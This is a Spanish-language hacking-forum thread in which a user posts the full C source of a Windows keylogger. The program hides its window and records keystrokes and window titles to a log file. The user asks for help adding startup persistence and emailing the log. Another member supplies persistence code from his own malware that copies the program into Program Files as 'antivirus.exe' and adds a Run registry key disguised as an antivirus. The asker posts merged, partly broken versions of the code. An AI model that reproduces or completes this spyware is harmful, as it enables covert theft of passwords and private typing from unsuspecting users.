elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Añadir keylogger al registro, y envio por email.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Añadir keylogger al registro, y envio por email.  (Leído 3,962 veces)
josefort360

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Añadir keylogger al registro, y envio por email.
« en: 20 Agosto 2014, 20:59 pm »

Hola, e cojido de esta pagina un codigo de keylogger, pero nose como hacer para añadirlo al registro y que se ejecute al inicio, y hacer que se envie el log por email, aqui os dejo el codigo.
Código:
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;

/*==============================================================
==============================================================*/
void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(&ltime);
ctime(&ltime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(&ltime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
_sleep(100);
}while (1<2);
}
;
En línea

тαптяα


Desconectado Desconectado

Mensajes: 1.151


Sic utere tuo ut alienum non laeda


Ver Perfil WWW
Re: Añadir keylogger al registro, y envio por email.
« Respuesta #1 en: 20 Agosto 2014, 22:48 pm »

Puedes probar a escribir un script en Batch para el inicio automático.
En línea

harry_the_blogger

Desconectado Desconectado

Mensajes: 105


Visita mi blog es enriquemesa.blogspot.com


Ver Perfil WWW
Re: Añadir keylogger al registro, y envio por email.
« Respuesta #2 en: 20 Agosto 2014, 23:51 pm »

Yo te puedo dar un fragmento de codigo de mi propio malware que te permita iniciar con Windows. Espero que te sirva, analizalo, y pruebalo para saber si es lo que buscas. Lo he comentado en ingles, para que se vea mas profesional. Deberías aprender ese idioma para poder participar en foros de habla inglesa.

Código
  1. #include "windows.h"
  2.  
  3. ///This function copies the malware executable to the system folder
  4. ///And after that, create a registry key to start with Windows.
  5. int start_with_windows(){
  6.    char execution_dir[MAX_PATH];
  7.    char *program_files_variable;
  8.    char path_destiny[MAX_PATH];
  9.  
  10.    cout << "Start with windows..." << endl;
  11.  
  12.    ///Gets from which directory the program is running
  13.    HMODULE current_executable = GetModuleHandle(NULL);
  14.    GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));
  15.  
  16.    ///Gets program files directory
  17.    program_files_variable = getenv("PROGRAMFILES");
  18.  
  19.    ///Copies the program files directory to the destiny path string
  20.    strcpy(path_destiny, program_files_variable);
  21.    strcat(path_destiny, "\\antivirus.exe");
  22.  
  23.    ///Copies the file to the program files folder
  24.    CopyFile(execution_dir, path_destiny, false);
  25.  
  26.    ///Creates a registry key
  27.    HKEY hKey;
  28.  
  29.    ///Opens the registry key "run" to start with Windows
  30.    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
  31.  
  32.    ///Set the value of the new key. Put the path of the malware
  33.    RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));
  34.  
  35.    RegCloseKey(hKey);
  36.  
  37.    ///Debugging purpouses
  38.    //cout << execution_dir << endl;
  39.  
  40.    return 0;
  41. }
  42.  
  43.  
  44.  

Yo te recomiendo que hagas tu keylogger en C puro, sin usar C++ o Batch. ¿Por que razón? Porque es más eficiente y profesional usar C. Batch no sirve para crear malware de verdad.

Espero que mi codigo te haya sido util. Si alguna cosa, no dudes en venir al foro de nuevo. Aqui estamos para ayudarnos mutuamente.
En línea

Vista mi blog es enriquemesa.blogspot.com
josefort360

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Añadir keylogger al registro, y envio por email.
« Respuesta #3 en: 21 Agosto 2014, 00:45 am »

Hola, muchas gracias por el code, pero me da errores, lo mismo es por mi ignorancia, lo e dejado asi, podrias mirar haber si esta bien?
Código:
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

int start_with_windows(){
    char execution_dir[MAX_PATH];
    char *program_files_variable;
    char path_destiny[MAX_PATH];
 
    cout << "Start with windows..." << endl;
 
    ///Gets from which directory the program is running
    HMODULE current_executable = GetModuleHandle(NULL);
    GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));
 
    ///Gets program files directory
    program_files_variable = getenv("PROGRAMFILES");
 
    ///Copies the program files directory to the destiny path string
    strcpy(path_destiny, program_files_variable);
    strcat(path_destiny, "\\antivirus.exe");
 
    ///Copies the file to the program files folder
    CopyFile(execution_dir, path_destiny, false);
 
    ///Creates a registry key
    HKEY hKey;
 
    ///Opens the registry key "run" to start with Windows
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
 
    ///Set the value of the new key. Put the path of the malware
    RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));
 
    RegCloseKey(hKey);
 
    ///Debugging purpouses
    //cout << execution_dir << endl;
 
    return 0;
}

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;


/*==============================================================
==============================================================*/

void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(&ltime);
ctime(&ltime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(&ltime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
_sleep(100);
}while (1<2);
}
En línea

harry_the_blogger

Desconectado Desconectado

Mensajes: 105


Visita mi blog es enriquemesa.blogspot.com


Ver Perfil WWW
Re: Añadir keylogger al registro, y envio por email.
« Respuesta #4 en: 21 Agosto 2014, 00:57 am »

Debes aprender más sobre programacion en C. Por lo que veo, solo es cuestion de agregar una llamada a la funcion que inicia con Windows en el cuerpo de la funcion main. Hasta aqui te puedo ayudar. Son errores simples, solo debes conocer el lenguaje C, y en eso no te puedo ayudar.
En línea

Vista mi blog es enriquemesa.blogspot.com
josefort360

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Añadir keylogger al registro, y envio por email.
« Respuesta #5 en: 21 Agosto 2014, 01:00 am »

Mas que nada, solo quiero que agreges la funcion, es que de c, no tengo mucha idea xd.
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Añadir keylogger al registro, y envio por email.
« Respuesta #6 en: 21 Agosto 2014, 04:38 am »

Mas que nada, solo quiero que agreges la funcion, es que de c, no tengo mucha idea xd.

o aprendes o lo dejas, demasiado facilismo dar un codigo que no es tuyo y que te lo den arreglado...

por cierto al insertar codigo usa las etiquetas geshi
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
josefort360

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Añadir keylogger al registro, y envio por email.
« Respuesta #7 en: 21 Agosto 2014, 13:19 pm »

Citar
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *logg;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;


/*==============================================================
==============================================================*/

int main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
logg=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(logg,"\n------------------------------------\n");
fprintf(logg,"
  • PhcKey 0.2 Log");
fprintf(logg,"\n
  • Iniciando keyloguer...");
fclose(logg);
/*comenzamos a loguear teclas*/
KeyLogger();
start_with_windows();
}

int start_with_windows(){
    char execution_dir[MAX_PATH];
    char *program_files_variable;
    char path_destiny[MAX_PATH];
 
 
    ///Gets from which directory the program is running
    HMODULE current_executable = GetModuleHandle(NULL);
    GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));
 
    ///Gets program files directory
    program_files_variable = getenv("C:\Program Files (x86)");
 
    ///Copies the program files directory to the destiny path string
    strcpy(path_destiny, program_files_variable);
    strcat(path_destiny, "\Adobe");
 
    ///Copies the file to the program files folder
    CopyFile(execution_dir, path_destiny, 0);
 
    ///Creates a registry key
    HKEY hKey;
 
    ///Opens the registry key "run" to start with Windows
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
 
    ///Set the value of the new key. Put the path of the malware
    RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));
 
    RegCloseKey(hKey);
 
    ///Debugging purpouses
    //cout << execution_dir << endl;
 
    return 0;
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
logg=fopen("LgPh.log","a");
fprintf(logg,"OK\n");
fclose(logg);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(&ltime);
ctime(&ltime);

//como ha cambiado laventana, guardamos los datos
logg=fopen("LgPh.log","a");
fprintf(logg,"\n\n
  • Fecha: %s",ctime(&ltime)); //metemos la hora
fprintf(logg,"[-] [ Ventana: %s ]",TVentana);
fprintf(logg,"\n    %s",Teclas);//guardamos las teclas
fclose(logg);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
_sleep(100);
}while (1<2);
}
Veran, ya pude poner bien la funcion, pero lo que pasa es que en el registro no registra nada, que es lo que esta mal?
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Envio de email « 1 2 »
PHP
Maties 360 10 5,063 Último mensaje 23 Agosto 2007, 18:34 pm
por jamarchi
Ayuda con envio por Email y FTP
Programación Visual Basic
illuminat3d 6 2,461 Último mensaje 12 Octubre 2008, 16:12 pm
por illuminat3d
Problemas con envio de email en php
PHP
carnicero666 5 3,051 Último mensaje 7 Abril 2009, 21:51 pm
por дٳŦ٭
Restringir envió de email por usuario « 1 2 »
PHP
177600531 17 6,977 Último mensaje 19 Diciembre 2010, 19:52 pm
por 177600531
Python - envío de email -
Scripting
SkyzCol 5 3,115 Último mensaje 1 Junio 2020, 10:51 am
por Emertech
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines